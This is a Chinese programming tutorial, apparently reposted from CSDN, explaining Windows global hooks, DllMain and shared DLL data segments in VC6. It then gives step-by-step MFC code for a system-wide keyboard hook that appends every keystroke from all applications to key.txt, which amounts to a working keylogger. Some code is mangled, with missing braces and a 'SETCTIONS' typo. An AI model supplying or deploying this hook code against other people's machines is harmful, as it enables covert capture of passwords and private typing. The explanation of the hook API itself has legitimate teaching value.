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键盘钩子程序原理介绍及实现步骤

来源:csdn | 2008-2-7 | (有5832人读过)

      实现适时监视键盘,并将按键信息保存在TXT文件中的程序 
       Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。本文在VC6编程环境下实现了一个简单的键盘钩子程序,并对Win32全局钩子的运行机制、Win32 DLL的特点、VC6环境下的MFC DLL以及共享数据等相关知识进行了简单的阐述。  

      一.Win32全局钩子的运行机制  

      钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。对每种类型的钩子由系统来维护一个钩子链,最近安装的钩子放在链的开始,而最先安装的钩子放在最后,也就是后加入的先获得控制权。要实现Win32的系统钩子,必须调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数,这个函数的原型是  

HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);  

      其中,第个参数是钩子的类型;第二个参数是钩子函数的地址;第三个参数是包含钩子函数的模块句柄;第四个参数指定监视的线程。如果指定确定的线程,即为线程专用钩子;如果指定为空,即为全局钩子。其中,全局钩子函数必须包含在DLL(动态链接库)中,而线程专用钩子还可以包含在可执行文件中。得到控制权的钩子函数在完成对消息的处理后,如果想要该消息继续传递,那么它必须调用另外一个SDK中的API函数CallNextHookEx来传递它。钩子函数也可以通过直接返回TRUE来丢弃该消息,并阻止该消息的传递。  

      二.Win32 DLL的特点  

      Win32 DLL与 Win16 DLL有很大的区别,这主要是由操作系统的设计思想决定的。一方面,在Win16 DLL中程序入口点函数和出口点函数(LibMain和WEP)是分别实现的;而在Win32 DLL中却由同一函数DLLMain来实现。无论何时,当一个进程或线程载入和卸载DLL时,都要调用该函数,它的原型是  

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);  

其中,第一个参数表示DLL的实例句柄;第三个参数系统保留;这里主要介绍一下第二个参数,它有四个可能的值:DLL_PROCESS_ATTACH(进程载入),DLL_THREAD_ATTACH(线程载入),DLL_THREAD_DETACH(线程卸载),DLL_PROCESS_DETACH(进程卸载),在DLLMain函数中可以对传递进来的这个参数的值进行判别,并根据不同的参数值对DLL进行必要的初始化或清理工作。举个例子来说,当有一个进程载入一个DLL时,系统分派给DLL的第二个参数为DLL_PROCESS_ATTACH,这时,你可以根据这个参数初始化特定的数据。另一方面,在Win16环境下,所有应用程序都在同一地址空间;而在Win32环境下,所有应用程序都有自己的私有空间,每个进程的空间都是相互独立的,这减少了应用程序间的相互影响,但同时也增加了编程的难度。大家知道,在Win16环境中,DLL的全局数据对每个载入它的进程来说都是相同的;而在Win32环境中,情况却发生了变化,当进程在载入DLL时,系统自动把DLL地址映射到该进程的私有空间,而且也复制该DLL的全局数据的一份拷贝到该进程空间,也就是说每个进程所拥有的相同的DLL的全局数据其值却并不一定是相同的。因此,在Win32环境下要想在多个进程中共享数据,就必须进行必要的设置。亦即把这些需要共享的数据分离出来,放置在一个独立的数据段里,并把该段的属性设置为共享。  

      三.VC6中MFC DLL的分类及特点  

      在VC6中有三种形式的MFC DLL(在该DLL中可以使用和继承已有的MFC类)可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)和Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。第一种DLL的特点是,在编译时把使用的MFC代码加入到DLL中,因此,在使用该程序时不需要其他MFC动态链接类库的存在,但占用磁盘空间比较大;第二种DLL的特点是,在运行时,动态链接到MFC类库,因此减少了空间的占用,但是在运行时却依赖于MFC动态链接类库;这两种DLL既可以被MFC程序使用也可以被Win32程序使用。第三种DLL的特点类似于第二种,做为MFC类库的扩展,只能被MFC程序使用。  

      四.在VC6中全局共享数据的实现  

      在主文件中,用#pragma data_seg建立一个新的数据段并定义共享数据,其具体格式为: 
#pragma data_seg ("shareddata") 
HWND sharedwnd=NULL;//共享数据 
#pragma data_seg()  

      仅定义一个数据段还不能达到共享数据的目的,还要告诉编译器该段的属性,有两种方法可以实现该目的(其效果是相同的),一种方法是在.DEF文件中加入如下语句:  

      SETCTIONS 
      shareddata READ WRITE SHARED  

      另一种方法是在项目设置链接选项中加入如下语句: 
      /SECTION:shareddata,rws  

      五.具体实现步骤  

      由于全局钩子函数必须包含在动态链接库中,所以本例由两个程序体来实现。  

      1.建立钩子KeyboardHook.dll  

      (1)选择MFC AppWizard(DLL)创建项目Mousehook;  

      (2)选择MFC Extension DLL(共享MFC拷贝)类型;  

      (3)由于VC6没有现成的钩子类,所以要在项目目录中创建KeyboardHook.h文件,在其中建立钩子类: 
class AFX_EXT_CLASS CKeyboardHook : public CObject  

public: 
      CKeyboardHook();//钩子类的构造函数  

      virtual ~CKeyboardHook();//钩子类的析构函数  

public: 
      BOOL StartHook(); //安装钩子函数  

      BOOL StopHook();//卸载钩子函数 
};  

      (4)在KeyboardHook.cpp文件的顶部加入#include "KeyboardHook.h"语句;  

      (5)在KeyboardHook.cpp文件的顶部加入全局共享数据变量: 
#pragma data_seg("mydata") 
      HHOOK glhHook=NULL;         //安装的鼠标勾子句柄 
      HINSTANCE glhInstance=NULL; //DLL实例句柄 
#pragma data_seg()  

(6)在DEF文件中定义段属性: 
SECTIONS 
mydata READ WRITE SHARED  

      (7)在主文件KeyboardHook.cpp的DllMain函数中加入保存DLL实例句柄的语句: 
      glhInstance=hInstance;//插入保存DLL实例句柄  

      (8)键盘钩子函数的实现: 
//键盘钩子函数 
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) 

      char ch=0; 
      FILE *fl; 
      if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下 
      { 
            if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) ) 
            { 
                  fl=fopen("key.txt","a+");    //输出到key.txt文件 
                  if (wParam==VK_RETURN) 
                  { 
                        ch=’\n’; 
                  } 
                  else 
                  { 
                        BYTE ks[256]; 
                        GetKeyboardState(ks); 
                        WORD w; 
                        UINT scan=0; 
                        ToAscii(wParam,scan,ks,&w,0); 
                        //ch=MapVirtualKey(wParam,2); //把虚键代码变为字符 
                        ch =char(w); 
                  } 
                  fwrite(&ch, sizeof(char), 1, fl); 
            } 
            fclose(fl); 
      } 
      return CallNextHookEx( glhHook, nCode, wParam, lParam ); 
}  

      (9)类CKeyboardHook的成员函数的具体实现: 
CKeyboardHook::CKeyboardHook() 

}  

CKeyboardHook::~CKeyboardHook() 

      if(glhHook) 
            UnhookWindowsHookEx(glhHook); 
}  

//安装钩子并设定接收显示窗口句柄 
BOOL CKeyboardHook::StartHook() 

      BOOL bResult=FALSE; 
      glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0); 
      /*============================================================ 
      HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId ) 
      参数idHook表示钩子类型,它是和钩子函数类型一一对应的。 
      比如,WH_KEYBOARD表示安装的是键盘钩子,WH_MOUSE表示是鼠标钩子等等。  

      Lpfn是钩子函数的地址。  

HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子, 
      该参数为钩子函数所在的DLL句柄。  

      dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。  

      SetWindowsHookEx返回所安装的钩子句柄。 
      值得注意的是线程钩子和系统钩子的钩子函数的位置有很大的差别。 
      线程钩子一般在当前线程或者当前线程派生的线程内, 
      而系统钩子必须放在独立的动态链接库中,实现起来要麻烦一些。 
      ===========================================================*/ 
      if(glhHook!=NULL) 
      bResult=TRUE; 
      return bResult; 
}  

//卸载钩子 
BOOL CKeyboardHook::StopHook() 

      BOOL bResult=FALSE; 
      if(glhHook) 
      { 
            bResult= UnhookWindowsHookEx(glhHook); 
            if(bResult) 
                  glhHook=NULL; 
      } 
      return bResult; 
}  

      (10)编译项目生成KeyboardHook.dll。  

      2.创建钩子可执行程序 
      (1)用MFC的AppWizard(EXE)创建项目KeyHook;  

      (2)选择“基于对话应用”并按下“完成”键;  

      (3)在KeyHookDlg.h中加入包含语句#include "KeyboardHook.h";  

      (4)在KeyHookDlg.h中添加私有数据成员: 
      CKeyboardHook m_hook;//加入钩子类作为数据成员  

      (5)链接DLL库,即把../KeyboardHook.lib加入到项目设置链接标签中;  

      (6)把OK按钮ID改为ID_HOOK,写实现代码: 
void CKeyHookDlg::OnHook() 

      m_hook.StartHook(); 
}  

      (7)关闭按钮实现: 
void CKeyHookDlg::OnCancel() 

      m_hook.StopHook(); 
      CDialog::OnCancel(); 
}  

      (8)编译项目生成可执行文件;  

      运行生成的KeyHook.exe程序,按HOOK!按钮,加载钩子后按下键盘上的一些键,可以发现EXE目录下自动生成了一个key.txt文件,该文件记载了你的按键信息.  
本工程在WinXP Vc++6.0运行成功。  

  
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